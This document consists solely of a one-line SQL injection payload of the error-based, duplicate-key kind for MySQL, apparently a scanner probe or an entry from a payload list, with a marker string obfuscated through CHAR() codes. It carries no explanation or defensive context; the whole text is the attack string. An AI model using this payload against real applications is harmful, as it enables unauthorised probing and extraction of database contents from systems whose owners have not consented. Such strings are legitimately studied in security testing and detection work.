(select 1 and row(1,1)>(select count(*),concat(concat(CHAR(52),CHAR(67),CHAR(117),CHAR(49),CHAR(50),CHAR(56),CHAR(66),CHAR(101),CHAR(88),CHAR(51),CHAR(84)),floor(rand()*2))x from (select 1 union select 2)a group by x limit 1))